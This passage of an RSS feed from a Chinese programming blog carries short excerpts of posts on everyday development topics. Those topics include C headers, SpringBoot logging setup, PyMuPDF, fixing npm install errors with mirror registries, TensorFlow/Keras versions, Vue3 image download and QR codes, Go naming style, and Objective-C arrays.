      <description>1、使用scanf在VS2019出现错误，请在头部添加如下语言：&#xA;#define _CRT_SECURE_NO_WARNINGS&#xA;此时错误消失。&#xA;2、使用strlen，运行报错，找不到strlen标识符，请在头部添加如下语言：&#xA;#include&amp;lt;string.h&amp;gt;&#xA;3、使用Sleep，运行报错，找不到Sleep标识符，请在头部添加如下语言：&#xA;#include&amp;lt;windows.h&amp;gt;&#xA;4、strcmp使用在比较字符串输入是否一致时，举个例子：&#xA;if（strcmp(password,&#34;你真棒“）==0）&#xA;做字符串的判断语句。strcmp的头文件是在string.h里&#xA;5、tolower,toupper使用头文件 ，#include&amp;lt;ctype.h&amp;gt;&#xA;目的是转换大小写&#xA;6、malloc 使用头文件，#include&amp;lt;stdlib.h&amp;gt;&#xA;7、使用sqrt，头文件使用 math.h</description>
    </item>
    <item>
      <title>java案例-抢红包</title>
      <link>https://bchobby.github.io/posts/30f66a7cca3f40f5e9e4e08aaf39886c/</link>
      <pubDate>Wed, 30 Aug 2023 11:00:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30f66a7cca3f40f5e9e4e08aaf39886c/</guid>
      <description> 一个直播时发起了抢红包活动，分别有：9、666、188、520、99999五个红包。 请模拟粉丝来抽奖，按照先来先得，随机抽取，抽完即止，注意：一个红包只能被抽一次，先抽或后抽哪一个红包是随机的，示例如下（不一定是下面的顺序）：&#xA;public class Test { public static void main(String[] args) { int[] pakege = {9, 666, 188, 520, 99999}; //方法一：将抽中的红包换为0，判断是否为0 Scanner sc = new Scanner(System.in); Random r = new Random(); for (int i = 0; i &amp;lt; pakege.length; i++) { System.out.println(&#34;请随意输入：&#34;); sc.next(); while (true) { int i1 = r.nextInt(pakege.length); if (pakege[i1] != 0){ System.out.println(&#34;红包金额为：&#34; + pakege[i1]); pakege[i1] = 0; break; } } } System.out.println(&#34;活动结束~&#34;); } } </description>
    </item>
    <item>
      <title>SpringBoot工具库:整合Logback、Log4j2</title>
      <link>https://bchobby.github.io/posts/ff2ad525f8946361cabeb1517f1380da/</link>
      <pubDate>Wed, 30 Aug 2023 10:46:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff2ad525f8946361cabeb1517f1380da/</guid>
      <description>1、概念 log4j是apache实现的一个开源日志组件logback同样是由log4j的作者设计完成的，拥有更好的特性，用来取代log4j的一个日志框架，是slf4j的原生实现Log4j2是log4j 1.x和logback的改进版，据说采用了一些新技术（无锁异步、等等），使得日志的吞吐量、性能比log4j 1.x提高10倍，并解决了一些死锁的bug，而且配置更加简单灵活slf4j：日志门面，服务于各种各样的日志系，是对所有日志框架制定的一种规范、标准、接口，并不是一个框架的具体的实现，因为接口并不能独立使用，需要和具体的日志框架实现配合使用（如log4j、logback），使用接口的好处是当项目需要更换日志框架的时候，只需要更换jar和配置，不需要更改相关java代码 2、使用条件 如果你开发的是类库或者嵌入式组件，那么就应该考虑采用SLF4J，因为不可能影响最终用户选择哪种日志系统。在另一方面，如果是一个简单或者独立的应用，确定只有一种日志系统，那么就没有使用SLF4J的必要。假设你打算将你使用log4j的产品卖给要求使用logback的用户时，面对成千上万的log4j调用的修改，相信这绝对不是一件轻松的事情。但是如果开始便使用SLF4J，那么这种转换将是非常轻松的事情。&#xA;说白了，slf4j和common-logging一个意思，就是简单的日志门面，方便我们在不动代码的前提下随意切换我们的日志框架。在部署的时候，选择不同的日志系统包，就可自动转换到不同的日志系统上。&#xA;比如：选择JDK自带的日志系统，则只需要将slf4j-api-1.5.10.jar和slf4j-jdk14-1.5.10.jar放置到classpath中即可，如果中途无法忍受JDK自带的日志系统了，想换成log4j的日志系统，仅需要用slf4j-log4j12-1.5.10.jar替换slf4j-jdk14-1.5.10.jar即可。（当然也需要log4j的jar及配置文件）。当然如果这个时候觉得log4j的性能不是太好，出于性能考虑想换成logback的日志系统的话，也只是需要将logback的core包和classic包替换原来的log4j包就OK（当然也需要logback的配置文件）。&#xA;结合各日志实现包使用时提供的jar包情况为：&#xA;SLF4J和logback结合使用时需要提供的jar:slf4j-api.jar,logback-classic.jar,logback-core.jarSLF4J和log4j结合使用时需要提供的jar:slf4j-api.jar,slf4j-log412.jar,log4j.jarSLF4J和JDK中java.util.logging结合使用时需要提供的jar:slf4j-api.jar,slf4j-jdk14.jarSLF4J和simple(SLF4J本身提供的一个接口的简单实现)结合使用时需要提供的jar:slf4j-api.jar,slf4j-simple.jar 注意，以上slf4j和各日志实现包结合使用时最好只使用一种结合，不然的话会提示重复绑定日志，并且会导致日志无法输出。&#xA;3、依赖pom.xml log4j2默认会在classpath目录下寻找log4j2.xml、log4j.json、log4j.jsn等名称的文件，如果都没有找到，则会按默认配置输出，也就是输出到控制台，也可以对配置文件自定义位置 国外的服务器下载速度感人，一般都是用公司内部地址或切换到国内。 修改maven安装目录下中的conf文件夹下的setting.xml文件内容，在&amp;lt;mirrors&amp;gt;节点下新增&#xA;&amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;alimaven&amp;lt;/id&amp;gt; &amp;lt;name&amp;gt;aliyun maven&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;http://maven.aliyun.com/nexus/content/groups/public/&amp;lt;/url&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;/mirror&amp;gt; 4、SLF4J+log4j Logback默认配置的步骤：&#xA;1). 尝试在 classpath下查找文件logback-test.xml；&#xA;2). 如果文件不存在，则查找文件logback.xml；&#xA;3). 如果两个文件都不存在，logback用BasicConfigurator自动对自己进行配置，这会导致记录输出到控制台。&#xA;4.1.spring项目 本项目是基于spring项目集成logback日志&#xA;pom.xml&#xA;&amp;lt;!-- slf4j依赖 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7.12&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- slf4j自带的简单日志 --&amp;gt; &amp;lt;!-- log4j依赖 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-log4j12&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7.12&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;log4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;log4j&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.17&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 4.2.Springboot项目 springboot项目，直接引入spring-boot-starter-web依赖即可，因为spring-boot-starter-web包含了spring-boot-starter。&#xA;而spring-boot-starter包含了spring-boot-starter-logging，所以我们只需要引入 web 组件即可。&#xA;1）引入依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2）添加配置在application.yml</description>
    </item>
    <item>
      <title>工具分享 | PDF文档解析工具PyMuPDF</title>
      <link>https://bchobby.github.io/posts/83f92cb29894e12e8c8174b04f8d8397/</link>
      <pubDate>Tue, 29 Aug 2023 23:25:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83f92cb29894e12e8c8174b04f8d8397/</guid>
      <description>1 需求描述 最近工作需要从PDF文档中按照章节解析出对应的文本和图片(后续可能还会有表格)，经过调研，找到了一个功能强大的解析工具MuPDF，对应的Python包是PyMuPDF。本篇博客记录使用它来实现具体功能。&#xA;官方文档：https://pymupdf.readthedocs.io/en/latest/index.html&#xA;2 利用书签中标题划分章节 在PDF中，点击书签或者目录页中具体一个标题时，文档页面会跳转到对应的章节，“跳转”的实现说明了其背后有一套机制(交叉引用)，记录了各级标题和正文页面的对应关系。&#xA;PyMuPDF解析书签中各层级标题的接口为Document.get_toc()，该接口可以返回书签的层级、名称、点击它跳转到的页码及具体到目标页的哪个位置。&#xA;接口介绍&#xA;get_toc(simple=True/False) # 参数simple=True时，返回简单版本的各级目录，包括[标题层级, 标题名称，跳转到的页码]，例如： [ 2, // 第二级 &#39;旅行规划&#39;, // 名称 9, // 对应正文的第9页(该字段index从1开始) ] # 参数simple=False时，在跳转到的页码基础上，增加了&#39;to&#39;指向跳转页具体的坐标点(x, y) [2, &#39;用户手册介绍 &#39;, 9, {&#39;kind&#39;: 1, &#39;xref&#39;: 3112, &#39;page&#39;: 8, &#39;to&#39;: Point(43.937, 29.877015), &#39;zoom&#39;: 0.0, &#39;collapse&#39;: False }] 详细文档&#xA;利用对书签的解析，获取到了:&#xA;(1)文档的层级关系: 包含多少第一级大标题、每个第一级标题下又有多少二级标题，以此类推可以获取完整的文档结构；&#xA;(2)每一级标题在正文中的页面范围，例如从第3页(43,40)到第5页的(253, 400)。&#xA;因此可以实现按照章节的拆分。&#xA;3 基于章节的文本解析 划分章节后，每一章节在正文中的位置由：起始页面、起始页面的坐标、结束页面、结束页面坐标描述，例如，start_page = 5, (start_x = 43, start_y = 36)，end_page = 8, (end_x = 134, end_y=238)。</description>
    </item>
    <item>
      <title>vue使用命令npm install 报错 cb() never called!</title>
      <link>https://bchobby.github.io/posts/9d9b4e7e0d310de25625692b93075f46/</link>
      <pubDate>Tue, 29 Aug 2023 18:07:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d9b4e7e0d310de25625692b93075f46/</guid>
      <description>一.错误说明,npm本身下载就慢，有可能是网络的问题。&#xA;二.解决方案,把npm设置成淘宝镜像后,再重新npm install&#xA;npm config set registry https://registry.npm.taobao.org 三.还是不行，还会出现同样的问题，那接下来先清理一下npm缓存&#xA;npm cache clean -f 四.接着使用这个命令安装最新稳定版本的Node helper&#xA;npm install -g n --force 五.再重新 npm install&#xA;六.再不行，把npm 代理再改成cnpm&#xA;设置cnpm&#xA;$ npm install -g cnpm --registry=https://registry.npm.taobao.org 检查是否设置成功&#xA;cnpm -v 七.然后使用cnpm install 我的就解决了 总结 1.一般使用npm install报错的情况，大多数是网络不好，导致下载超时的情况。&#xA;2.如果真出现这种情况，解决办法就要简单粗暴一点。&#xA;3.办法,npm install 下载超时，就使用cnpm install ,cnpm 下载再超时，就使用yarn install&#xA;总有一种是成功的.如果再不成功，那就该检查网络了。&#xA;4.yarn怎么弄，百度一下就有了。</description>
    </item>
    <item>
      <title>tensorflow导入keras出错问题</title>
      <link>https://bchobby.github.io/posts/72e83fdfa2e46830f97986b359e47b35/</link>
      <pubDate>Tue, 29 Aug 2023 17:12:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72e83fdfa2e46830f97986b359e47b35/</guid>
      <description>在升级tensorflow到2.10.1过程中，出现keras导入时出错问题，在网上进行了几个小时的搜索，没有找到好的解决方案。大体的解决思路是tensorflow与keras的版本不兼容。实际问题解决后，确实是这个原因。在网上查找的tensorflow对应的版本都比较低，这里可以使用的版本是：tensorflow为2.10.1，keras的版本为2.10.0。先安装keras, 再安装tensorflow。&#xA;pip install keras=2.10.0 pip install tensorflow==2.10.1 安装的结果：&#xA;Installing collected packages: tensorflow-estimator, tensorboard-data-server, google-auth-oauthlib, tensorboard, tensorflow Attempting uninstall: tensorflow-estimator WARNING: Ignoring invalid distribution -rotobuf (c:\users\he\.conda\envs\tf2\lib\site-packages) Found existing installation: tensorflow-estimator 2.11.0 Uninstalling tensorflow-estimator-2.11.0: Successfully uninstalled tensorflow-estimator-2.11.0 Attempting uninstall: tensorboard-data-server Found existing installation: tensorboard-data-server 0.7.0 Uninstalling tensorboard-data-server-0.7.0: Successfully uninstalled tensorboard-data-server-0.7.0 Attempting uninstall: google-auth-oauthlib Found existing installation: google-auth-oauthlib 1.0.0 Uninstalling google-auth-oauthlib-1.0.0: Successfully uninstalled google-auth-oauthlib-1.0.0 Attempting uninstall: tensorboard Found existing installation: tensorboard 2.</description>
    </item>
    <item>
      <title>ShardingSphere5.4.0 SQL执行过程</title>
      <link>https://bchobby.github.io/posts/203f54337237a244454766f87cfe210d/</link>
      <pubDate>Tue, 29 Aug 2023 15:40:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/203f54337237a244454766f87cfe210d/</guid>
      <description>1、初始化时,数据库连接池工具类,创建连接池时,连接池由连接代理类执行SQL&#xA;com.zaxxer.hikari.pool.HikariProxyConnection#delegate&#xA;实属delegate是真实连接实体类,当真实执行sql时,再从连接池中获取连接实体类&#xA;com.zaxxer.hikari.util.DriverDataSource#getConnection&#xA;创建连接的Driver为配置的:&#xA;spring.datasource.driver-class-name=org.apache.shardingsphere.driver.ShardingSphereDriver&#xA;2、连接池创建&#xA;com.zaxxer.hikari.HikariDataSource.#getConnection()&#xA;com.zaxxer.hikari.pool.HikariPool#HikariPool&#xA;com.zaxxer.hikari.pool.PoolEntry&#xA;创建连接实体 final PoolEntry poolEntry = createPoolEntry();&#xA;return new PoolEntry(newConnection(), this, isReadOnly, isAutoCommit);&#xA;连接实体创建连接&#xA;3、数据库连接实体创建&#xA;org.apache.shardingsphere.driver.jdbc.core.driver.DriverDataSourceCache#createDataSource&#xA;从这里开始一直往下跟&#xA;org.apache.shardingsphere.driver.jdbc.core.datasource.ShardingSphereDataSource#getConnection&#xA;在这个类创建链接 DriverStateContext.getConnection(databaseName, contextManager, jdbcContext);&#xA;创建方式通过SPI 加载DriverState.class实现类&#xA;org.apache.shardingsphere.driver.state#DriverStateContext&#xA;4、执行sql拦截&#xA;connection.prepareStatement(sql);&#xA;connection是连接池,每个连接封装了代理类&#xA;com.zaxxer.hikari.pool.HikariProxyConnection#prepareStatement&#xA;由代理连接真实执行&#xA;com.zaxxer.hikari.pool.ProxyConnection#prepareStatement&#xA;真实连接类&#xA;org.apache.shardingsphere.driver.jdbc.core.connection.ShardingSphereConnection#prepareStatement&#xA;3、ShardingSpherePreparedStatement构造方法初始化&#xA;org.apache.shardingsphere.driver.jdbc.core.statement.ShardingSpherePreparedStatement&#xA;ShardingSpherePreparedStatement#execute</description>
    </item>
    <item>
      <title>34-断点的基本使用</title>
      <link>https://bchobby.github.io/posts/f145047fb40d0e8e4cd1dcc5cd0c7cdd/</link>
      <pubDate>Tue, 29 Aug 2023 14:51:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f145047fb40d0e8e4cd1dcc5cd0c7cdd/</guid>
      <description> 断点的基本使用 断点------------------------------------------ 注意：下面的红色往下的箭头，虽然说明了什么方法都可以进入，但也只是针对于java代码，非java代码通常不能进入，其他的调试自然也不能，比如没有重写的hashCode方法，他是有native修饰的，代表默认非java代码的使用接口（一般主要是用来在Java程序中调用c/c++的代码的，也有可能是其他语言的代码，即默认只有不是java代码的方法，但调用是可以的，所以我们可以获得地址信息），即不重写，自然就会到非java代码里去，而重写，自然就是使用我们自己的了（这是重写的作用），即可以调试，所以如果不重写，自然不能调试，也就直接会到下一段代码了（下一行） 跳出方法，会跳出调用者的方法，直到跳出主线程，如main方法，上述的线程结束，是主线程结束 跳出后面的，是跳出窗口，跳出时，到当前方法位置，而跳出方法是，跳出方法的下一个位置 但有些是当前位置，如有些系统方法，但是不可以再次进入了，而跳出窗口可以继续进入 再后面的就是跳到下一个断点，按照行数来决定先后，若没有，则结束Debug模式 当然可以在Debug的时候，自己添加一个断点，那么也会到该断点，但是要添加到后面 再后面的就是计算器，当你复制一行代码时，其中可以有变量（前提一般只能是执行过的，否则会有错误提示，没有变量可以不用操作执行过的），如int a = 1+ 2; a是一个变量，那么就将这行代码复制进去，会帮你计算出结果，主要用来计算方法返回值的运算 对于左边的，最上面是重新Debug，而下面一个就类似于跳到下一个断点 若是服务器的操作（可能不同，具体自己测试，即不是完全相同操作的Debug），在没有下一个断点时，则等待下一个调试，否则跳转到下一个断点，即不会退出Debug模式（因为他并没有真的结束运行整体程序的，因为多线程关系） 单纯的执行，则会退出，即对于跳到下一个断点的退出，在服务器里基本没有明显关联 但是其他的下一个的操作等等退出，基本也都不会退出，与跳转到下一个断点基本一样，基本是这样 但这里是按照普通的执行来进行说明的，而不是服务器，所以这里看看即可 再下面红色正方形，就是直接结束Debug模式 再下面就是断点的操作，可以看到断点的位置也可以删除，再下面就是让你的断点都失效 让你不可进行跳转了，只可以一步一步执行了，再添加断点也是失效的 注意：在点击下一步时，若你的方法里面有断点，那么他不会直接到下一行，而是进入该方法的断点位置 然后在该方法里进行操作了，而且跳断点时，必须程序里面的断点 如main方法里，没有fa方法，但fa方法里有断点，那么跳不过去，若main方法有fa方法，那么就可以跳过去 之所以是这样，是因为断点是程序之间的断点，是需要联系的，无联系，不可操作断点 最好对与代码来说：在写代码，之所以用方法，除了可以看起来不那么乱外，更重要的是分工，好维护 但要好维护的缺点是，由于方法是在没创建对象时，不可以用其他类的方法（静态除外，但是静态的都会占名） 那么通常都要传递需要的参数，在方法里，但这样的参数，最好给方法对象的构造方法传递，因为有可能有很多需要该参数的 在使用对象流时，于其他流不同，读取的文件，必须写入对象的信息，因为需要版本号，若没有，则报错 该版本号，不写的话，会自动根据你的类的信息来添加，这是底层的实现 </description>
    </item>
    <item>
      <title>C语言实现计算器</title>
      <link>https://bchobby.github.io/posts/552527f499de06be67f02a003c1e539d/</link>
      <pubDate>Tue, 29 Aug 2023 14:35:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/552527f499de06be67f02a003c1e539d/</guid>
      <description>目录 1.传统计算器写法2.函数指针数组实现计算器2.1函数指针数组2.2计算器 1.传统计算器写法 传统计算器的写法需要在主函数里对逐个函数实现和调用，可以看到代码过于冗长，有没有一种更加简短的代码来实现呢，答案是肯定的&#xA;#include&amp;lt;stdio.h&amp;gt; int add(int x, int y) { return x + y; } int sub(int x, int y) { return x - y; } int mul(int x, int y) { return x * y; } int div(int x, int y) { return x / y; } int main() { int x, y = 0; int ret = 0; int input = 1; do { printf(&#34;************************\n&#34;); printf(&#34; 请输入你将要进行的运算:\n&#34;</description>
    </item>
    <item>
      <title>Vue3 下载图片</title>
      <link>https://bchobby.github.io/posts/d172b75b0b7ed6282cc557d88eb1b115/</link>
      <pubDate>Tue, 29 Aug 2023 11:45:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d172b75b0b7ed6282cc557d88eb1b115/</guid>
      <description>&amp;lt;el-button type=&#34;danger&#34; @click=&#34;handleDownLoad(&#39;https://picsum.photos/500/500&#39;, &#39;图片名称&#39;)&#34;&amp;gt;下载&amp;lt;/el-button&amp;gt; // 下载图片03 const download = (href, name) =&amp;gt; { let eleLink = document.createElement(&#34;a&#34;); eleLink.download = name; eleLink.href = href; eleLink.click(); eleLink.remove(); }; // 下载图片02 const downloadByBlob = (url, name) =&amp;gt; { let image = new Image(); image.setAttribute(&#34;crossOrigin&#34;, &#34;anonymous&#34;); image.src = url; image.onload = () =&amp;gt; { let canvas = document.createElement(&#34;canvas&#34;); canvas.width = image.width; canvas.height = image.height; let ctx = canvas.getContext(&#34;2d&#34;); ctx.drawImage(image, 0, 0, image.width, image.height); canvas.</description>
    </item>
    <item>
      <title>Vue3 生成二维码(内容或跳转链接)</title>
      <link>https://bchobby.github.io/posts/836d4b56518401836c38e1660e9e62de/</link>
      <pubDate>Tue, 29 Aug 2023 11:02:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/836d4b56518401836c38e1660e9e62de/</guid>
      <description>以下也是借鉴大佬的代码, 这里只是整理出来, 方便以后自己使用&#xA;大佬的帖子 : vue3中使用qrcodejs2-fix插件生成二维码_G_ing的博客-CSDN博客&#xA;其他人的帖子不是报错就是繁琐胡扯, 有人连canvas都结合起来用, 还封装成组件, 写的乱七八糟, 明明这么简单几句代码就实现的&#xA;所以看到这个帖子, 就别去搜索其他人的了, 保证管用&#xA;使用的依赖 qrcodejs2-fix&#xA;npm install qrcodejs2-fix DOM处&#xA;&amp;lt;div id=&#34;qrCodeBox&#34;&amp;gt;&amp;lt;/div&amp;gt; 页面中引入&#xA;import { onMounted, ref, reactive, nextTick } from &#39;vue&#39;; // 页面中引入 import QRCode from &#39;qrcodejs2-fix&#39;; onMounted(() =&amp;gt; { // 生成二维码 getQrCode(); }); // 生成方法 const getQrCode = () =&amp;gt; { // DOM 都加载完毕再执行 nextTick(() =&amp;gt; { document.getElementById(&#39;qrCodeBox&#39;).innerHTML = &#39;&#39;; new QRCode(document.getElementById(&#39;qrCodeBox&#39;), { text: &#39;呱呱&#39;, // 扫码后显示的内容, 如果页面链接, 扫码后会直接跳转到链接 width: 100, //二维码宽 height: 100, //二维码高 }); }); }; 如果扫码内容是需要接口返回的, 建议这样写</description>
    </item>
    <item>
      <title>el-collapse折叠面板默认全部展开/关闭</title>
      <link>https://bchobby.github.io/posts/0cedd52df3eda9551f21cc093b946534/</link>
      <pubDate>Tue, 29 Aug 2023 10:17:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cedd52df3eda9551f21cc093b946534/</guid>
      <description>所要展开项的name标识符与v-model绑定值匹配即可默认展开。&#xA;1. 案例&#xA;&amp;lt;el-collapse v-model=&#34;activeNames&#34;&amp;gt; &amp;lt;el-collapse-item name=&#34;0&#34; title=&#39;段落1&#39;&amp;gt;那一年，花开得不是最好，可是还好，我遇到你； &amp;lt;/el-collapse-item&amp;gt; &amp;lt;el-collapse-item name=&#34;1&#34; title=&#39;段落2&#39;&amp;gt;那一年，花开得好极了，好像专是为了你； &amp;lt;/el-collapse-item&amp;gt; &amp;lt;el-collapse-item name=&#34;2&#34; title=&#39;段落3&#39;&amp;gt;那一年，花开得很迟，还好，有你。 &amp;lt;/el-collapse-item&amp;gt; &amp;lt;/el-collapse&amp;gt; data(){ return{ activeNames:[0, 1, 2] // 展开指定项 activeNames:[] // 全部关闭 } } 实现效果：</description>
    </item>
    <item>
      <title>Go语言代码建议</title>
      <link>https://bchobby.github.io/posts/3439cb3c80aa15c253164059532c96c3/</link>
      <pubDate>Mon, 28 Aug 2023 21:47:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3439cb3c80aa15c253164059532c96c3/</guid>
      <description>Go的简单性、可读性、生产力 标识符： 很简洁、具有描述性、可预测的【从名字推断出使用方式】&#xA;命名的时候需要考虑上下文的！例如我们方法参数中名字就能很好的代表！&#xA;变量或常量的名称应描述其目的，而不是内容的类型！而注解应该描述内容的，如&#xA;var userMap map[string]*User 这个声明有什么好处？ 我们可以看到它是一个 map，它与 *User 类型有关。 但是 usersMap 是一个 map，而 Go 语言是一种静态类型的语言，如果没有定义变量,不会让我们意外地使用到它，因此 Map 后缀是多余的。&#xA;建议是避免使用任何类似变量类型的后缀。&#xA;贴士:&#xA;不要让包名窃取好的变量名。&#xA;导入标识符的名称包括其包名称。 例如，context 包中的 Context 类型将被称为 context.Context。 这使得无法将 context 用作包中的变量或类型。&#xA;func WriteLog(context context.Context, message string) 上面的栗子将会编译出错。 这就是为什么 context.Context 类型的通常的本地声明是 ctx，例如：&#xA;func WriteLog(ctx context.Context, message string) 一致的声明样式：声明变量但没有初始化时，请使用 var。 当声明变量稍后将在函数中初始化时，请使用 var 关键字。&#xA;在没有初始化的情况下声明变量时，请使用 var 语法。&#xA;声明并初始化变量时，请使用 :=。&#xA;贴士:&#xA;使复杂的声明显而易见。&#xA;当事情变得复杂时，它看起来就会很复杂。例如&#xA;var length uint32 = 0x80 这里 length 可能要与特定数字类型的库一起使用，并且 length 明确选择为 uint32 类型而不是短声明形式：</description>
    </item>
    <item>
      <title>后端返回下载地址url，前端如何下载文件</title>
      <link>https://bchobby.github.io/posts/f363c9c8fdad8799bd9b487f81c4fe37/</link>
      <pubDate>Mon, 28 Aug 2023 18:12:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f363c9c8fdad8799bd9b487f81c4fe37/</guid>
      <description>需求：后端返回给前端的市下载地址URL，前端进行下载对应文件&#xA;downLoad(){ const link = document.createElement(&#39;a&#39;) //_blank表示在新窗口打开链接 link.target = &#39;_blank&#39; link.href =process.env.VUE_APP_BASE_API+this.form.POD link.setAttribute(&#39;download&#39;, &#39;文件名字&#39; + Date.now() + &#39;.PDF&#39;) // 下载文件的名称及文件类型后缀 document.body.appendChild(link) link.click() document.body.removeChild(link) // 下载完成移除元素 this.$modal.msgSuccess(&#34;下载成功&#34;); this.open=false }, 其中this.form.POD是后端返回的下载地址URL</description>
    </item>
    <item>
      <title>Objective C语法之NSArray</title>
      <link>https://bchobby.github.io/posts/97996856bce8342050f693184ff0912c/</link>
      <pubDate>Mon, 28 Aug 2023 17:59:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97996856bce8342050f693184ff0912c/</guid>
      <description>1.声明&#xA;存放的是OC对象，int等非对象不能存放&#xA;NSArray *arr=@[@&#34;jack&#34;,@&#34;rose&#34;,@&#34;mary&#34;];&#xA;NSArray *arr=[NSArray arrayWithObjects:@&#34;jack&#34;,@&#34;rose&#34;,@&#34;mary&#34;,nil];&#xA;2.取值&#xA;NSString *str=arr[0];&#xA;NSString *str1=[arr objectAtIndex:1];&#xA;NSUInteger size=arr.count; 或[arr count]&#xA;3.是否包含元素&#xA;BOOL res=[arr containsObject:@&#34;lilei&#34;];&#xA;4.查找元素索引&#xA;NSUInteger index=[arr indexOfObject:@&#34;rose&#34;];&#xA;if(index==NSNotFound)&#xA;{&#xA;NSLog(@&#34;未找到rose&#34;);&#xA;}else&#xA;{&#xA;NSLog(@&#34;找到rose了&#34;);&#xA;} 5.数组遍历&#xA;for循环&#xA;NSUInteger size=arr.count;&#xA;for(int i=0;i&amp;lt;size;i++)&#xA;{&#xA;NSLog(@&#34;%@&#34;,arr[i]);&#xA;NSLog(@&#34;%@&#34;,[arr objectAtIndex:i]);&#xA;}&#xA;for in循环，相当于java foreach&#xA;比如遍历存放NSString的NSArray&#xA;for(NSString *str in arr)&#xA;{&#xA;NSLog(@&#34;%@&#34;,str);&#xA;}&#xA;当数组中类似不一致，使用id来遍历&#xA;for(id *id in arr)&#xA;{&#xA;NSLog(@&#34;%@&#34;,id);&#xA;}&#xA;通过代码块来遍历&#xA;[arr enumerateObjectsUsingBlock:^(id _Nonnull obj,NSUInteger idx,BOOL * _Nonnull stop){</description>
    </item>
    <item>
      <title>Elementui，通过Dialog，实现全局动态confirm自定义弹窗，不需要各页面单独引入组件（可显示页面、html、代码高亮显示、普通文字）</title>
      <link>https://bchobby.github.io/posts/b1251b0a6b4fdf4f82641123819cb0f5/</link>
      <pubDate>Mon, 28 Aug 2023 17:24:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1251b0a6b4fdf4f82641123819cb0f5/</guid>
      <description>动态挂载组件 // obj={ // class:&#39;弹窗最外面的名称&#39;, // title:&#39;弹窗标题&#39;, // components:&#39;传入的组件，需要先使用 import test from &#39;./components/test.vue&#39; 引入，然后传递 test（components和content只能有一个，并且components里面的关闭和取消按钮需要自己写）&#39; // propsData：组件的传递的参数（components传入的组件哈） // content:&#39;弹窗内容（可以文字、html，也可以展示代码需要`&amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;`包裹）&#39;, // width:&#39;弹窗宽度&#39;, // cancelText:&#39;取消按钮的文案，没有传不显示按钮&#39;, // confirmText:&#39;确定按钮的文案，没有传不显示按钮&#39;, // style:&#39;content内容的基础样式&#39;, // showClose:&#39;是否显示弹窗右上角的关闭按钮&#39;, // twiceTitle:&#39;确定时的二次确认文字，不传不会二次确定&#39; // } Vue.prototype.$confirmDialog = async function(obj = null) { if (!obj) return const idName = &#39;confirmDialog_new_custom_&#39; + new Date().getTime() + &#39;_&#39; + parseInt(Math.random() * 1000) const confirmDialog = (await import(&#39;@/components/dialog/confirmDialog.vue&#39;)).default const ConfirmDialogCom = Vue.component(&#39;confirmDialog&#39;, confirmDialog)// 创建组件 // 给当前组件挂载父级页面的参数(即 main.</description>
    </item>
    <item>
      <title>vue3项目中导入Excel表格数据</title>
      <link>https://bchobby.github.io/posts/133728a9e6c1ab3ab2cbfcb60081b0f6/</link>
      <pubDate>Mon, 28 Aug 2023 17:22:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/133728a9e6c1ab3ab2cbfcb60081b0f6/</guid>
      <description>实现代码：&#xA;import { Workbook } from &#34;exceljs&#34; const { nodejs } = window const buffer = await nodejs.readPublicFile(&#39;excel/xxxxxx表.xlsx&#39;) const workbook = new Workbook() await workbook.xlsx.load(buffer) const dataSheet = workbook.getWorksheet(&#39;sheetName&#39;) // &#39;sheetName&#39;为左下角的sheet名称 // 获取特定id的数据 const getSiteOriginalData = (id: string) =&amp;gt; { const data: Array&amp;lt;(string | number)[]&amp;gt; = [] dataSheet.eachRow(row =&amp;gt; { if (row.getCell(1).text !== id) return const values = (Array.isArray(row.values) ? row.values : []).filter(value =&amp;gt; value !== undefined) as (string | number)[] data.</description>
    </item>
    <item>
      <title>Oracle和MySQL不同编码格式下varchar所能存储的中文数量</title>
      <link>https://bchobby.github.io/posts/f61add5e37678855787c8765b0513eb7/</link>
      <pubDate>Mon, 28 Aug 2023 16:02:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f61add5e37678855787c8765b0513eb7/</guid>
